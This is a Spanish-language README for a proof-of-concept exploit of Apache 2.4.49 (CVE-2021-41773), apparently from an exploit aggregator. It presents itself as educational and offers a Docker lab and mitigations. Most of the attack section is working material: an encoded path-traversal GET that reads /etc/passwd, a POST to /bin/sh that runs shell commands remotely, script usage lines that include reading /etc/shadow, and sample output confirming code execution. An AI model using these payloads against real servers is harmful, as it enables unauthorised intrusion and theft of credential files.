Share
## https://sploitus.com/exploit?id=DF994407-02A8-5D7C-9D23-8887B2A2951D
# CVE-2021-41773 — PoC: Path Traversal + RCE via mod_cgi

> **Solo para uso en entornos controlados y propios. No usar contra sistemas sin autorización.**

---

## Descripción

PoC desarrollada para demostrar y entender la vulnerabilidad **CVE-2021-41773**, presente en **Apache HTTP Server 2.4.49**.

El fallo reside en la función `ap_normalize_path()`, que no validaba correctamente los caracteres codificados en URL. Esto permitía a un atacante saltar fuera del `DocumentRoot` mediante una secuencia de caracteres codificados (`%2e%2e%2f` en lugar de `../`), leyendo archivos arbitrarios del sistema.

Cuando el módulo `mod_cgi` estaba habilitado, la vulnerabilidad escalaba a **RCE (Remote Code Execution)**, permitiendo ejecutar comandos directamente en el servidor con los permisos del proceso Apache.

---

## Condiciones necesarias para la explotación

El servidor debe cumplir **todas** estas condiciones para ser vulnerable:

| Condición | Detalle |
|---|---|
| Versión de Apache | Exactamente `2.4.49` |
| Directiva de acceso | `Require all granted` en la configuración |
| Módulo CGI | `mod_cgi` habilitado (solo para RCE) |

---

## Cómo funciona el ataque

### Fase 1 — Path Traversal

Apache 2.4.49 filtraba el clásico `../` pero no su versión codificada en URL. El atacante construye una ruta que el filtro no detecta, pero que el sistema operativo interpreta correctamente:

```
GET /cgi-bin/%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2fetc/passwd
```

`%2e%2e%2f` es la codificación URL de `../`. Apache lo dejaba pasar, el OS lo resolvía, y el resultado era acceso a archivos fuera del directorio web.

### Fase 2 — RCE via mod_cgi

Con `mod_cgi` activo, el path traversal se usa para apuntar a `/bin/sh` en lugar de un archivo. Apache lo trata como un script CGI y lo ejecuta. El comando viaja en el body del POST como un script shell mínimo:

```
POST /cgi-bin/%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2fbin/sh

#!/bin/sh
echo 'Content-Type: text/plain'
echo
id 2>&1
```

El output del comando llega en la respuesta HTTP.

---

## Entorno de pruebas

La forma más limpia de reproducir la vulnerabilidad es con Docker:

```bash
docker run -d -p 8080:80 --name apache-vuln ghcr.io/blasty/CVE-2021-41773
```

O con una imagen manual de Apache 2.4.49 con la configuración vulnerable:

```apache

    Require all granted

```

---

Voy a dejar los archivos de configuracion que eh utilizado para la prueba.

## Uso del script

```
python PoC_2021-41773.py --target  --mode  [--cmd ]
```

### Argumentos

| Argumento | Requerido | Descripción |
|---|---|---|
| `--target` | Sí | URL base del servidor (ej: `http://localhost:8080`) |
| `--mode` | Sí | `traversal` para leer archivos, `rce` para ejecutar comandos |
| `--cmd` | No | Comando a ejecutar en modo `rce` (default: `id`) |

### Ejemplos


# Leer /etc/passwd del servidor
python PoC_2021-41773.py --target http://localhost:8080 --mode traversal

# Ejecutar el comando 'id'
python PoC_2021-41773.py --target http://localhost:8080 --mode rce --cmd id

# Ejecutar un comando con espacios
python PoC_2021-41773.py --target http://localhost:8080 --mode rce --cmd "cat /etc/shadow"


### Output esperado — modo traversal

```
=======================================================
  CVE-2021-41773 — Apache 2.4.49 Path Traversal + RCE
  PoC con fines educativos — Solo en entornos propios
=======================================================

[+] Modo: Path traversal
[+] Objetivo: http://localhost:8080
[+] URL Construida: http://localhost:8080/cgi-bin/%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2fetc/passwd
[+] Enviando request...

Servidor Vulnerable, Status code: 200
=== Contenido de /etc/passwd:

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
...
```

### Output esperado — modo rce

```
[+] Modo: RCE via mod_cgi
[+] Objetivo: http://localhost:8080
[+] Comando: id
[+] Enviando request...

[+] RCE confirmado

uid=1(daemon) gid=1(daemon) groups=1(daemon)
```

---

## Mitigación

- Actualizar Apache a versión `2.4.51` o superior.
- Configurar `Require all denied` como valor por defecto.
- Deshabilitar `mod_cgi` si no es estrictamente necesario.

---

## Referencias

- [Rapid7 — CVE-2021-41773 Exploited in the Wild](https://www.rapid7.com/blog/post/2021/10/06/apache-http-server-cve-2021-41773-exploited-in-the-wild/)
- [Qualys — Path Traversal & RCE Analysis](https://blog.qualys.com/vulnerabilities-threat-research/2021/10/27/apache-http-server-path-traversal-remote-code-execution-cve-2021-41773-cve-2021-42013)
- [NVD — CVE-2021-41773](https://nvd.nist.gov/vuln/detail/CVE-2021-41773)

---

*PoC desarrollada con fines educativos para portafolio de seguridad ofensiva.*